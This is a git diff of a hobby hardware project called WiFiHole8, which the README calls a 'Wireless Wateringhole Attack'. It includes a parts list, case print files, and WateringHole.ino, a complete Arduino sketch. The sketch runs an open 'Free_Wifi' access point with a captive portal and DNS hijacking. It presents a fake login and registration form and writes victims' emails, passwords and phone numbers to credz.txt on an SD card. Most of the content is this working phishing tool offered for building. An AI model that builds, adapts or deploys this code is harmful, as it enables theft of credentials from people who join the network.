diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Transparent.png b/Case_Transparent.png new file mode 100644 index 0000000..8e96171 --- /dev/null +++ b/Case_Transparent.png Binary files differ diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Transparent.png b/Case_Transparent.png new file mode 100644 index 0000000..8e96171 --- /dev/null +++ b/Case_Transparent.png Binary files differ diff --git a/Parts.txt b/Parts.txt new file mode 100644 index 0000000..605526c --- /dev/null +++ b/Parts.txt @@ -0,0 +1,12 @@ +Wifi Kit 8: + https://www.amazon.co.uk/gp/product/B076S8S6HL/ +Switch: + https://www.amazon.co.uk/gp/product/B076GXD7XN/ +Micro SD card reader: + https://www.amazon.co.uk/gp/product/B01MXL1RTH/ +Micro SD Card: + https://www.amazon.co.uk/gp/product/B073K14CVB/ +LiPo Battery: + https://www.amazon.co.uk/gp/product/B07CYMYMS9/ +Vibration Motor: + https://www.amazon.co.uk/gp/product/B074M24S21/ \ No newline at end of file diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Transparent.png b/Case_Transparent.png new file mode 100644 index 0000000..8e96171 --- /dev/null +++ b/Case_Transparent.png Binary files differ diff --git a/Parts.txt b/Parts.txt new file mode 100644 index 0000000..605526c --- /dev/null +++ b/Parts.txt @@ -0,0 +1,12 @@ +Wifi Kit 8: + https://www.amazon.co.uk/gp/product/B076S8S6HL/ +Switch: + https://www.amazon.co.uk/gp/product/B076GXD7XN/ +Micro SD card reader: + https://www.amazon.co.uk/gp/product/B01MXL1RTH/ +Micro SD Card: + https://www.amazon.co.uk/gp/product/B073K14CVB/ +LiPo Battery: + https://www.amazon.co.uk/gp/product/B07CYMYMS9/ +Vibration Motor: + https://www.amazon.co.uk/gp/product/B074M24S21/ \ No newline at end of file diff --git a/README.md b/README.md index 0691080..11f7ff8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,33 @@ WiFiHole8 =============== -Wireless Wateringhole Attack \ No newline at end of file +Wireless Wateringhole Attack using the Heltec WiFi Kit 8 + +Demonstration (click to watch): + +[![WiFiHole8](http://img.youtube.com/vi/IgE62_FDJIE/0.jpg)](http://www.youtube.com/watch?v=IgE62_FDJIE "WiFiHole8") + + +**Case_Placement.png** + +Image showing how all the parts fit inside the case. + +**Case_Print_bottom.stl & Case_Print_Top.stl** + +Files used to 3d print the case + +**Case_Transparent.png** + +Transparent image of the case + +**Parts.txt** + +Parts list with amazon links + +**Schematic.png** + +Wwireing diagram showing how to build the WiFiHole8 + +**WateringHole.ino** + +Coded needed to program onto the Wifi kit 8 \ No newline at end of file diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Transparent.png b/Case_Transparent.png new file mode 100644 index 0000000..8e96171 --- /dev/null +++ b/Case_Transparent.png Binary files differ diff --git a/Parts.txt b/Parts.txt new file mode 100644 index 0000000..605526c --- /dev/null +++ b/Parts.txt @@ -0,0 +1,12 @@ +Wifi Kit 8: + https://www.amazon.co.uk/gp/product/B076S8S6HL/ +Switch: + https://www.amazon.co.uk/gp/product/B076GXD7XN/ +Micro SD card reader: + https://www.amazon.co.uk/gp/product/B01MXL1RTH/ +Micro SD Card: + https://www.amazon.co.uk/gp/product/B073K14CVB/ +LiPo Battery: + https://www.amazon.co.uk/gp/product/B07CYMYMS9/ +Vibration Motor: + https://www.amazon.co.uk/gp/product/B074M24S21/ \ No newline at end of file diff --git a/README.md b/README.md index 0691080..11f7ff8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,33 @@ WiFiHole8 =============== -Wireless Wateringhole Attack \ No newline at end of file +Wireless Wateringhole Attack using the Heltec WiFi Kit 8 + +Demonstration (click to watch): + +[![WiFiHole8](http://img.youtube.com/vi/IgE62_FDJIE/0.jpg)](http://www.youtube.com/watch?v=IgE62_FDJIE "WiFiHole8") + + +**Case_Placement.png** + +Image showing how all the parts fit inside the case. + +**Case_Print_bottom.stl & Case_Print_Top.stl** + +Files used to 3d print the case + +**Case_Transparent.png** + +Transparent image of the case + +**Parts.txt** + +Parts list with amazon links + +**Schematic.png** + +Wwireing diagram showing how to build the WiFiHole8 + +**WateringHole.ino** + +Coded needed to program onto the Wifi kit 8 \ No newline at end of file diff --git a/Schematic.png b/Schematic.png new file mode 100644 index 0000000..2579ef4 --- /dev/null +++ b/Schematic.png Binary files differ diff --git a/Case_Placement.png b/Case_Placement.png new file mode 100644 index 0000000..4efbc49 --- /dev/null +++ b/Case_Placement.png Binary files differ diff --git a/Case_Print_Bottom.stl b/Case_Print_Bottom.stl new file mode 100644 index 0000000..5d2d0e2 --- /dev/null +++ b/Case_Print_Bottom.stl Binary files differ diff --git a/Case_Print_Top.stl b/Case_Print_Top.stl new file mode 100644 index 0000000..858d665 --- /dev/null +++ b/Case_Print_Top.stl Binary files differ diff --git a/Case_Transparent.png b/Case_Transparent.png new file mode 100644 index 0000000..8e96171 --- /dev/null +++ b/Case_Transparent.png Binary files differ diff --git a/Parts.txt b/Parts.txt new file mode 100644 index 0000000..605526c --- /dev/null +++ b/Parts.txt @@ -0,0 +1,12 @@ +Wifi Kit 8: + https://www.amazon.co.uk/gp/product/B076S8S6HL/ +Switch: + https://www.amazon.co.uk/gp/product/B076GXD7XN/ +Micro SD card reader: + https://www.amazon.co.uk/gp/product/B01MXL1RTH/ +Micro SD Card: + https://www.amazon.co.uk/gp/product/B073K14CVB/ +LiPo Battery: + https://www.amazon.co.uk/gp/product/B07CYMYMS9/ +Vibration Motor: + https://www.amazon.co.uk/gp/product/B074M24S21/ \ No newline at end of file diff --git a/README.md b/README.md index 0691080..11f7ff8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,33 @@ WiFiHole8 =============== -Wireless Wateringhole Attack \ No newline at end of file +Wireless Wateringhole Attack using the Heltec WiFi Kit 8 + +Demonstration (click to watch): + +[![WiFiHole8](http://img.youtube.com/vi/IgE62_FDJIE/0.jpg)](http://www.youtube.com/watch?v=IgE62_FDJIE "WiFiHole8") + + +**Case_Placement.png** + +Image showing how all the parts fit inside the case. + +**Case_Print_bottom.stl & Case_Print_Top.stl** + +Files used to 3d print the case + +**Case_Transparent.png** + +Transparent image of the case + +**Parts.txt** + +Parts list with amazon links + +**Schematic.png** + +Wwireing diagram showing how to build the WiFiHole8 + +**WateringHole.ino** + +Coded needed to program onto the Wifi kit 8 \ No newline at end of file diff --git a/Schematic.png b/Schematic.png new file mode 100644 index 0000000..2579ef4 --- /dev/null +++ b/Schematic.png Binary files differ diff --git a/WateringHole.ino b/WateringHole.ino new file mode 100644 index 0000000..7daacdf --- /dev/null +++ b/WateringHole.ino @@ -0,0 +1,245 @@ +#include +#include +#include +#include +#include + +#include +#include + +IPAddress local_IP(192,168,0,1); +IPAddress gateway(192,168,0,1); +IPAddress subnet(255,255,255,0); + +DNSServer dnsServer; +ESP8266WebServer server(80); + +const int buzzer = 15; +bool buzzerStatus = false; + +U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ 16, /* clock=*/ 5, /* data=*/ 4); +ADC_MODE(ADC_VCC); + +const int chipSelect = 1; +File myFile; + +int loginAttempts = 0; +String email = ""; +String password = ""; +String noMob = ""; + +void setup() { + Serial.begin(115200); + + Serial.print("Initializing SD card..."); + if (!SD.begin(chipSelect)) { + Serial.println("initialization failed!"); + return; + } + Serial.println("initialization done."); + + if( SD.exists("buzzer") ){ buzzerStatus = true; } + swapBuzzer(); + + // screen stuff (128 x 32 px) + pinMode(10, OUTPUT); + pinMode(9, OUTPUT); + digitalWrite(10, 0); + digitalWrite(9, 0); + u8g2.begin(); + u8g2.enableUTF8Print(); + + Serial.print("Setting soft-AP configuration ... "); + Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!"); + Serial.print("Setting soft-AP ... "); + Serial.println(WiFi.softAP("Free_Wifi", "", 1, false, 6) ? "Ready" : "Failed!"); + Serial.print("Soft-AP IP address = "); + Serial.println(WiFi.softAPIP()); + + server.on("/", httpHome); + server.on("/login", httpLogin); + server.on("/register", httpRegister); + server.onNotFound(httpDefault); + if (server.hostHeader() == String("freewifi.lan")) { + return httpHome(); + } + server.begin(); + + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, "*", local_IP); + + pinMode(buzzer, OUTPUT); + Serial.println("Setup done"); + doubleBuzz(); + + getBatteryLevel(); + + delay(100); +} + +void doubleBuzz(){ + if(buzzerStatus == true){ + digitalWrite( buzzer , HIGH ); + delay(200); + digitalWrite( buzzer , LOW ); + delay(200); + digitalWrite( buzzer , HIGH ); + delay(200); + digitalWrite( buzzer , LOW ); + } +} +void buzzerIcon(){ + if(buzzerStatus){ + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(118, 10, "}"); + } +} +void swapBuzzer(){ + if(buzzerStatus){ + SD.remove("buzzer"); + }else{ + myFile = SD.open("buzzer", FILE_WRITE); + myFile.print("Buzzer Enabled"); + myFile.close(); + } +} + +int getBatteryLevel() { + uint32_t getVcc = ESP.getVcc(); + //Serial.println(getVcc); + float measuredvbat = getVcc; // for actual voltage + measuredvbat /= 1024; // convert to voltage + //Serial.println(measuredvbat); + + int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate) + return percent; + //return random(10,90); //DEBUG +} + +void battSideBar(int percent){ + percent = map(percent, 0, 100, 1, 32); + if(percent > 32){ percent = 32; } + if(percent < 1){ percent = 1; } + + u8g2.drawLine(124, 32-percent,124, 32); + + u8g2.drawLine(127, 0, 127, 32); // vert line + u8g2.drawLine(126, 0, 127, 0); // top marker (100%) + u8g2.drawLine(126, 8, 127, 8); // (75%) + u8g2.drawLine(126, 16, 127, 16); // middle marker (50%) + u8g2.drawLine(126, 24, 127, 24); //(25%) + u8g2.drawLine(126, 31, 127, 31); // botttom marker (0%) +} + +int noConnected(){ + int conns = WiFi.softAPgetStationNum(); + + String connStr = ""; + connStr += conns; + connStr += "/6"; + char connChr[connStr.length()+1]; + connStr.toCharArray(connChr, connStr.length()+1); + + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(100,21,connChr); +} + +int noAttempts(){ + String atmpStr = "t: "; + atmpStr += loginAttempts; + char atmpChr[atmpStr.length()+1]; + atmpStr.toCharArray(atmpChr, atmpStr.length()+1); + + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(90,32,atmpChr); +} + +void creds(){ + char emailChr[email.length()+1]; + email.toCharArray(emailChr, email.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,10,emailChr); + + char passwordChr[password.length()+1]; + password.toCharArray(passwordChr, password.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,21,passwordChr); + + char noMobChr[noMob.length()+1]; + noMob.toCharArray(noMobChr, noMob.length()+1); + u8g2.setFont(u8g2_font_6x10_mf); + u8g2.drawStr(0,32,noMobChr); +} + +void httpDefault(){ + server.sendHeader("Location", "http://freewifi.lan", true); + server.send(302, "text/plain", ""); + server.client().stop(); +} + +void httpHome(){ + server.send(200, "text/html", SendHTML(false,false)); +} +void httpLogin(){ + server.send(200, "text/html", SendHTML(true,false)); +} +void httpRegister(){ + loginAttempts += 1; + email = server.arg("email"); + password = server.arg("pass"); + noMob = server.arg("no"); + + Serial.println(email); + Serial.println(password); + Serial.println(noMob); + + myFile = SD.open("credz.txt", FILE_WRITE); + myFile.print(email); + myFile.print(":"); + myFile.print(password); + myFile.print(":"); + myFile.println(noMob); + myFile.close(); + + doubleBuzz(); + + server.send(200, "text/html", SendHTML(false,true)); +} + +String SendHTML(uint8_t login,uint8_t reg){ + String page = "Free WiFi Portal
"; + page += "\"Free"; + if(login){ + page += "

Incorrect Code"; + } + if(reg){ + page += "

Code will be SMSed shortly"; + } + page += "

Login Code

"; + page += "
"; + + page += "
Register

"; + page += "
"; + page += "
Email:
Password:
Mobile No.:
"; + page += "
"; + + return page; +} + +void loop() { + + u8g2.clearBuffer(); + int percent = getBatteryLevel(); + battSideBar(percent); + + dnsServer.processNextRequest(); + + buzzerIcon(); + noConnected(); + noAttempts(); + creds(); + server.handleClient(); + + u8g2.sendBuffer(); + delay(1000); +}